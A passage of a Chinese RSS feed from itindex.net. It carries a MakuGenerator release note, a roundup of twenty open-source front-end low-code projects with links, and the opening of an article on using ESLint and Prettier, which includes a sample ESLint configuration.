    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62599-%E5%BC%80%E6%BA%90-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91</guid>
      <pubDate>Mon, 30 Jan 2023 09:13:37 CST</pubDate>
    </item>
    <item>
      <title>MakuGenerator v2.1.1 发布，超好用的代码生成器</title>
      <link>https://itindex.net/detail/62588-makugenerator-v2-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;div&gt;
                                                                                              &lt;h2&gt;介绍&lt;/h2&gt; 
  &lt;ul&gt; 
    &lt;li&gt;maku-generator 是一款低代码生成器，可根据自定义模板内容，快速生成代码，可实现项目的快速开发、上线，减少重复的代码编写，开发人员只需专注业务逻辑即可。采用 MIT 开源协议，完全免费开源，可免费用于    &lt;strong&gt;商业项目&lt;/strong&gt;等场景。&lt;/li&gt; 
    &lt;li&gt;开发文档：    &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmaku.net%2Fdocs%2Fmaku-generator" target="_blank"&gt;https://maku.net/docs/maku-generator&lt;/a&gt;&lt;/li&gt; 
    &lt;li&gt;演示环境：    &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fdemo.maku.net%2Fmaku-generator" target="_blank"&gt;https://demo.maku.net/maku-generator&lt;/a&gt;&lt;/li&gt; 
    &lt;li&gt;官网地址：    &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmaku.net" target="_blank"&gt;https://maku.net&lt;/a&gt;&lt;/li&gt; 
&lt;/ul&gt; 
  &lt;h2&gt;更新日志&lt;/h2&gt; 
  &lt;ul&gt; 
    &lt;li&gt;升级element-plus到2.2.28&lt;/li&gt; 
    &lt;li&gt;升级vite到3.2.5&lt;/li&gt; 
    &lt;li&gt;升级springboot到2.7.7&lt;/li&gt; 
    &lt;li&gt;优化日志打印处理&lt;/li&gt; 
    &lt;li&gt;修复列表查询，页面下拉异常&lt;/li&gt; 
&lt;/ul&gt; 
  &lt;h2&gt;项目特点&lt;/h2&gt; 
  &lt;ul&gt; 
    &lt;li&gt;友好的代码结构及注释，便于阅读及二次开发&lt;/li&gt; 
    &lt;li&gt;支持 spring boot starter，能很方便集成到第三方项目&lt;/li&gt; 
    &lt;li&gt;支持通过配置数据源，快速生成 CRUD 代码，减少重复工作&lt;/li&gt; 
    &lt;li&gt;支持 MySQL、Oracle、SQLServer、PostgreSQL、达梦 8 等主流的数据库&lt;/li&gt; 
    &lt;li&gt;支持第三方 Java 项目包名修改，修改包名变得简单快速&lt;/li&gt; 
    &lt;li&gt;支持批量导入表、批量生成代码以及同步表结构等功能&lt;/li&gt; 
&lt;/ul&gt; 
  &lt;h2&gt;Git 仓库&lt;/h2&gt; 
  &lt;ul&gt; 
    &lt;li&gt;Gitee 仓库：    &lt;a href="https://gitee.com/makunet/maku-generator"&gt;https://gitee.com/makunet/maku-generator&lt;/a&gt;&lt;/li&gt; 
    &lt;li&gt;Github 仓库：    &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2Fmakunet%2Fmaku-generator" target="_blank"&gt;https://github.com/makunet/maku-generator&lt;/a&gt;&lt;/li&gt; 
&lt;/ul&gt; 
  &lt;h2&gt;效果图&lt;/h2&gt; 
  &lt;p&gt;   &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-9fb484bedcf801f74329fa221ab289c3169.jpg"&gt;&lt;/img&gt;&lt;/p&gt; 
  &lt;p&gt;   &lt;img alt="" height="1772" src="https://oscimg.oschina.net/oscnet/up-6d750c130d94882e2309bb56a3270fc02e3.png" width="3456"&gt;&lt;/img&gt;&lt;/p&gt; 
  &lt;p&gt;   &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-6e6607d4a42c2a8525066a839d69b863aa6.png"&gt;&lt;/img&gt;&lt;/p&gt; 
  &lt;p&gt;   &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-6d22d40c066170ae02f819012851de3e221.png"&gt;&lt;/img&gt;&lt;/p&gt; 
  &lt;p&gt; &lt;/p&gt;
                                        &lt;/div&gt;
                                    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62588-makugenerator-v2-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Fri, 13 Jan 2023 14:49:00 CST</pubDate>
    </item>
    <item>
      <title>推荐20个开源的不错前端低代码项目</title>
      <link>https://itindex.net/detail/62508-%E5%BC%80%E6%BA%90-%E5%89%8D%E7%AB%AF-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;p&gt;近几年，在技术领域低代码是比较热门的话题，比如阿里云推出了易搭，通过简单的拖拽、配置，即可完成业务应用的搭建，腾讯云则是推出了微搭，通过行业化模板、拖放式组件和可视化配置快速构建多端应用。&lt;/p&gt; &lt;p&gt;低代码是基于可视化和模型驱动理念，结合云原生与多端体验技术，它能够在多数业务场景下实现大幅度的提效降本，为专业开发者提供了一种全新的高生产力开发范式。下面就来分享几个值得学习和使用的低代码开源项目，更深入地了解什么是低代码。&lt;/p&gt; &lt;h1&gt;1，Appsmith&lt;/h1&gt; &lt;p&gt;Appsmith 是一款开源低代码框架，主要用于构建管理面板、内部工具和仪表板等，允许拖放 UI 组件来构建页面，通过连接到任何 API、数据库或 GraphQL 源，并使用 JavaScript 语言编写逻辑，可以在短时间内创建内部应用程序。  &lt;br /&gt;   &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810462" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/appsmithorg/appsmith" rel="nofollow noreferrer"&gt;https://github.com/appsmithor...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;2，LowCodeEngine&lt;/h1&gt; &lt;p&gt;LowCodeEngine 由阿里巴巴钉钉宜搭团队开发的低代码框架，基于阿里云的云基础设施和钉钉的企业数字化操作系统。使用者只需要基于低代码引擎便可以快速定制符合自己业务需求的低代码平台。同时LowCodeEngine还提供了很多的基础组件，可以帮助开发者快速的构建业务页面。  &lt;br /&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810463" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/alibaba/lowcode-demo" rel="nofollow noreferrer"&gt;https://github.com/alibaba/lo...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;3，Amis&lt;/h1&gt; &lt;p&gt;Amis 是百度开源的一款前端低代码框架，通过 JSON 配置就能生成各种后台页面，包括数据获取、表单提交及验证等功能，同时，Amis内置 100+ 种 UI 组件，能够满足各种页面组件展现的需求，极大减少开发成本，甚至可以不需要了解前端。&lt;/p&gt; &lt;p&gt;amis 在百度内部得到了广泛使用，在 4 年多的时间里创建了 3w 多页面，从内容审核到机器管理，从数据分析到模型训练，amis 满足了各种各样的页面需求。我们可以  &lt;a href="https://github.com/baidu/amis" rel="nofollow noreferrer"&gt;下载源码&lt;/a&gt;，然后使用如下的命令来体验。&lt;/p&gt; &lt;pre&gt;  &lt;code&gt;# 安装项目 npm 依赖，在 node 12 下会有报错但不影响正常使用。
npm i --legacy-peer-deps
# 启动项目，等编译结束后通过 http://127.0.0.1:8888/examples/pages/simple 访问。
npm start&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810464" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/baidu/amis" rel="nofollow noreferrer"&gt;https://github.com/baidu/amis&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;4，tmagic-editor&lt;/h1&gt; &lt;p&gt;tmagic-editor是一款由腾讯技术中心出品的一款开源低代码框架，能够实现零代码/低代码生成页面 ， 可以快速搭建可视化页面生产平台，让非技术人员可以通过拖拽和配置，自助生成H5页面、PC页面、TV页面，大大降低页面生产成本 。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810510" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://gitee.com/webapp_qsr/tmagic-editor" rel="nofollow noreferrer"&gt;https://gitee.com/webapp_qsr/...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;5，dooring-electron-lowcode&lt;/h1&gt; &lt;p&gt;dooring-electron-lowcode是一款功能强大，专业可靠的可视化页面配置解决方案，致力于提供一套简单方便、专业可靠、无限可能的H5落地页最佳实践。技术栈以react和typescript为主， 后台采用nodejs开发, electron作为桌面端基础方案。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810466" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;和它一样的还有H5-Dooring，H5-Dooring是一款功能强大、专业可靠的H5可视化页面配置解决方案，致力于提供一套简单方便、专业可靠、无限可能的H5落地页最佳实践。技术栈以 React 和 TypeScript 为主，后台采用nodejs开发。除了 H5 版，还提供了 PC 版。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810511" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h1&gt;6，vite-vue3-lowcode&lt;/h1&gt; &lt;p&gt;vite-vue3-lowcode 是一款基于Vite2.x + Vue3.x + TypeScript技术框架的的H5 低代码平台。目前只是一个简单的模板，支持数据配置的导入和导出，配置的修改和删除操作，用到的技术有sandbox 中执行自定义逻辑、monaco-editor 自定义代码补全、vue3 createRenderer 自定义渲染器等。  &lt;br /&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810468" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h1&gt;7，shida&lt;/h1&gt; &lt;p&gt;shida是一个视频可视化搭建项目，开发者可以通过拖拽就可以快速地生产一个短视频，使用方式就像易企秀或百度 H5 等 h5 低代码平台一样。shida的后端视频合成部分是基于  &lt;a href="https://github.com/tnfe/FFCreator" rel="nofollow noreferrer"&gt;FFCreator&lt;/a&gt;进行开发的，FFCreator 是一个基于 node.js 的轻量、灵活的短视频加工库，只需要添加几张图片或视频片段再加一段背景音乐，就可以快速生成一个很酷的视频短片。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810469" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/tnfe/shida" rel="nofollow noreferrer"&gt;https://github.com/tnfe/shida&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;8，quark-h5&lt;/h1&gt; &lt;p&gt;quark-h5是一个使用Vue + Koa的前端低代码框架，和大多数的前端低代码框架一样，采用的是编辑器生成页面JSON数据，服务端负责存取JSON数据，渲染时从服务端取数据JSON交给前端模板处理。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810470" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/huangwei9527/quark-h5" rel="nofollow noreferrer"&gt;https://github.com/huangwei95...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;9，gods-pen&lt;/h1&gt; &lt;p&gt;码良是一个在线生成 H5 页面并提供页面管理和页面编辑的平台，用于快速制作 H5 页面。用户无需掌握复杂的编程技术，通过简单拖拽、少量配置即可制作精美的页面，可用于营销场景下的页面制作。同时，也为开发者提供了完备的编程接入能力，通过脚本和组件的形式获得强大的组件行为和交互控制能力。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810471" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/ymm-tech/gods-pen" rel="nofollow noreferrer"&gt;https://github.com/ymm-tech/g...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;10，luban-h5&lt;/h1&gt; &lt;p&gt;鲁班H5是基于Vue2.0开发的支持拖拽方式来快速生成页面的低代码平台，功能基本类似于易企秀、Maka、百度等H5平台。  &lt;br /&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810472" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/ly525/luban-h5" rel="nofollow noreferrer"&gt;https://github.com/ly525/luba...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;11，mometa&lt;/h1&gt; &lt;p&gt;mometa 并不是传统主流的低代码平台（如 amis），mometa 是面向研发、代码可视设计编辑平台，更像是 dreamweaver、gui的可视编辑 工具。借助它，我们可以获得所见即所得的可视编辑开发体验。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810473" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/imcuttle/mometa" rel="nofollow noreferrer"&gt;https://github.com/imcuttle/m...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;12，h5-factory&lt;/h1&gt; &lt;p&gt;h5-factory是专题页面可视化编辑工具，可以通过拖拽来设计页面，并且指出一键生成html文件。  &lt;br /&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810474" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/xuhaiqing/h5-factory" rel="nofollow noreferrer"&gt;https://github.com/xuhaiqing/...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;13，steedos-platform&lt;/h1&gt; &lt;p&gt;steedos-platform是 Salesforce 低代码平台的开源替代方案，使用可视化工具进行模型设计, 页面设计, 流程设计, 报表设计，只需点击鼠标，就能快速创建应用程序，实现敏捷开发的新高度。在技术实现细节上，steedos-platform使用元数据定义对象，字段，配置，代码，逻辑和页面布局，并基于这些元数据自动生成系统的数据结构以及Steedos应用程序的用户界面和自动化逻辑。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810475" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;不过，steedos-platform是一整套的低代码解决方案，如果需要单独开发或者部署需要同时具备前后端架构的能力。&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/steedos/steedos-platform/" rel="nofollow noreferrer"&gt;https://github.com/steedos/st...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;14，lz-h5-edit&lt;/h1&gt; &lt;p&gt;lz-h5-edit是一个H5低代码编辑平台，支持拖拽、缩放、旋转、动画、撤销、重做、组合元素等方式来创建H5页面。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810476" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/lzuntalented/lz-h5-edit" rel="nofollow noreferrer"&gt;https://github.com/lzuntalent...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;15，tefact&lt;/h1&gt; &lt;p&gt;星搭开源无代码编辑器，使用图形化界面生成 网站、H5和表单，无需任何代码即可生成应用程序。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810477" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/staringos/tefact/" rel="nofollow noreferrer"&gt;https://github.com/staringos/...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;16，fast-poster&lt;/h1&gt; &lt;p&gt;fast-poster是一款使用Python+Vue开发的通用海报生成器，可以用来快速的生成海报。使用时知需要经过三步即可生成所需要的海报：启动服务 &amp;gt; 编辑海报 &amp;gt; 生成代码。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810512" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://gitee.com/vitojc/fast-poster" rel="nofollow noreferrer"&gt;https://gitee.com/vitojc/fast...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;17，openDataV&lt;/h1&gt; &lt;p&gt;OpenDataV 是一款基于Vue3 + vite + TypeScript开发前端可视化低代码平台。支持拖拽式、可视化、低代码数据可视化开发，你可以用它自由的拼接成各种炫酷的大屏，同时支持接入开发者自己开发的组件接入平台。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810479" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/AnsGoo/openDataV" rel="nofollow noreferrer"&gt;https://github.com/AnsGoo/ope...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;18，mall-cook&lt;/h1&gt; &lt;p&gt;Mall-Cook 是一个基于 vue 开发的可视化商城搭建平台，包括多页面可视化构建、Json Schema 生成器（可视化搭建物料控制面板），实现组件流水线式标准接入平台。最新版本使用 uni-app 重构物料、模板项目，支持生成 H5、小程序多端商城。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810480" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;![]()项目链接：  &lt;a href="https://github.com/wangyuan389/mall-cook" rel="nofollow noreferrer"&gt;https://github.com/wangyuan38...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;19，form-generator&lt;/h1&gt; &lt;p&gt;form-generator是一个基于Element UI表单设计及代码生成器，可将生成的代码直接运行在基于Element的vue项目中，也可导出JSON表单，使用配套的解析器将JSON解析成真实的表单。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810481" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/JakHuang/form-generator" rel="nofollow noreferrer"&gt;https://github.com/JakHuang/f...&lt;/a&gt;&lt;/p&gt; &lt;h1&gt;20，vjdesign&lt;/h1&gt; &lt;p&gt;vjdesign是一款支持任何 vue 项目中的组件，不需要二次开发就可以定义支持的组件以及组件的属性，并且对组件的属性和数据的关系以及表单的交互行为也可以通过设计器配置实现。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;" src="https://segmentfault.com/img/remote/1460000042810482" title="&amp;#22312;&amp;#36825;&amp;#37324;&amp;#25554;&amp;#20837;&amp;#22270;&amp;#29255;&amp;#25551;&amp;#36848;"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目链接：  &lt;a href="https://github.com/fyl080801/vjdesign" rel="nofollow noreferrer"&gt;https://github.com/fyl080801/...&lt;/a&gt;&lt;/p&gt; &lt;p&gt;除了上面部分开源的低代码平台外，还有很多是不开源的，具体参考下面的链接：  &lt;a href="https://github.com/taowen/awesome-lowcode" rel="nofollow noreferrer"&gt;https://github.com/taowen/awe...&lt;/a&gt;。&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>前端</category>
      <guid isPermaLink="true">https://itindex.net/detail/62508-%E5%BC%80%E6%BA%90-%E5%89%8D%E7%AB%AF-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Tue, 15 Nov 2022 09:18:45 CST</pubDate>
    </item>
    <item>
      <title>简谈提高团队代码质量的利器：ESLint 与 Prettier</title>
      <link>https://itindex.net/detail/62496-%E5%9B%A2%E9%98%9F-%E4%BB%A3%E7%A0%81-%E8%B4%A8%E9%87%8F</link>
      <description>&lt;p&gt;每个开发人员都有独特的代码编写风格和不同的文本编辑器。在团队项目开发过程，不能强迫每个团队成员都写一样的代码风格。&lt;/p&gt;
 &lt;p&gt;可能会看到以下部分（或全部）内容：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;缺少分号；&lt;/li&gt;
  &lt;li&gt;有单引号、双引号，风格不一致；&lt;/li&gt;
  &lt;li&gt;一些行之间有大量的空格，而其他行之间没有空格；&lt;/li&gt;
  &lt;li&gt;在使向右滚动多年以查看其中包含的所有内容的行上运行；&lt;/li&gt;
  &lt;li&gt;看似随意的缩进；&lt;/li&gt;
  &lt;li&gt;注释掉代码块；&lt;/li&gt;
  &lt;li&gt;初始化但未使用的变量；&lt;/li&gt;
  &lt;li&gt;一些使用“严格”JS 的文件和其他不使用的文件；&lt;/li&gt;
  &lt;li&gt;代码块在任何地方都没有空格或注释，这使得阅读它们和破译正在发生的事情变得更加困难。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;那么如何解决同一项目中有太多不同编码风格的问题？希望实现相同的编码风格，避免团队成员之间的许多警告；有 2 个非常简单的利器：ESLint 和 Prettier。&lt;/p&gt;
 &lt;blockquote&gt;
  &lt;p&gt;在 Visual Studio Code 中、安装插件 Prettier 和 ESLint 的帮助下消除一群不同开发人员的代码不一致，为开发团队提供一套整洁、统一的代码格式化。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;ESLint&lt;/h3&gt;
 &lt;p&gt;  &lt;img alt="image.png" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/529673b49f6646f78e4937d707b8a9ff~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;ESLint 是一个开源的 JavaScript 代码检查工具，由  &lt;code&gt; Nicholas C. Zakas&lt;/code&gt; 于2013年6月创建。代码检查是一种静态的分析，常用于寻找有问题的模式或者代码，并且不依赖于具体的编码风格。对大多数编程语言来说都会有代码检查，一般来说编译程序会内置检查工具。&lt;/p&gt;
 &lt;p&gt;ESLint 非常适合希望开发团队遵守的更具体、更通用的代码样式。除非专门设置它，否则 ESLint 不会自动修复或重写项目的代码，但它会以一种直接的方式让你知道有“规则”被打破了（不符合）。&lt;/p&gt;
 &lt;p&gt;这里分享一个 VUE 项目的规则：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;{
    indent: [&amp;quot;off&amp;quot;, 2],
    quotes: [0, &amp;quot;single&amp;quot;],
    &amp;quot;no-mixed-spaces-and-tabs&amp;quot;: [2, false], // 禁止混用tab和空格
    &amp;quot;generator-star-spacing&amp;quot;: &amp;quot;off&amp;quot;,
    &amp;quot;no-debugger&amp;quot;: process.env.NODE_ENV === &amp;quot;production&amp;quot; ? &amp;quot;error&amp;quot; : &amp;quot;off&amp;quot;,
    &amp;quot;no-console&amp;quot;: process.env.NODE_ENV === &amp;quot;production&amp;quot; ? &amp;quot;error&amp;quot; : &amp;quot;off&amp;quot;,
    &amp;quot;space-before-function-paren&amp;quot;: &amp;quot;off&amp;quot;,
    &amp;quot;no-var&amp;quot;: &amp;quot;off&amp;quot;, // 使用let和const代替var
    &amp;quot;no-new-func&amp;quot;: &amp;quot;error&amp;quot;, // 不允许使用new Function
    camelcase: [0, { properties: &amp;quot;never&amp;quot; }],
    &amp;quot;comma-dangle&amp;quot;: [&amp;quot;error&amp;quot;, &amp;quot;only-multiline&amp;quot;],
    semi: [2, &amp;quot;always&amp;quot;], // 语句强制分号结尾
    &amp;quot;prettier/prettier&amp;quot;: [
        &amp;quot;off&amp;quot;,
        {
            singleQuote: false,
            semi: false,
            trailingComma: &amp;quot;none&amp;quot;,
            bracketSpacing: true,
            jsxBracketSameLine: true,
        },
    ],
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;h3&gt;Prettier&lt;/h3&gt;
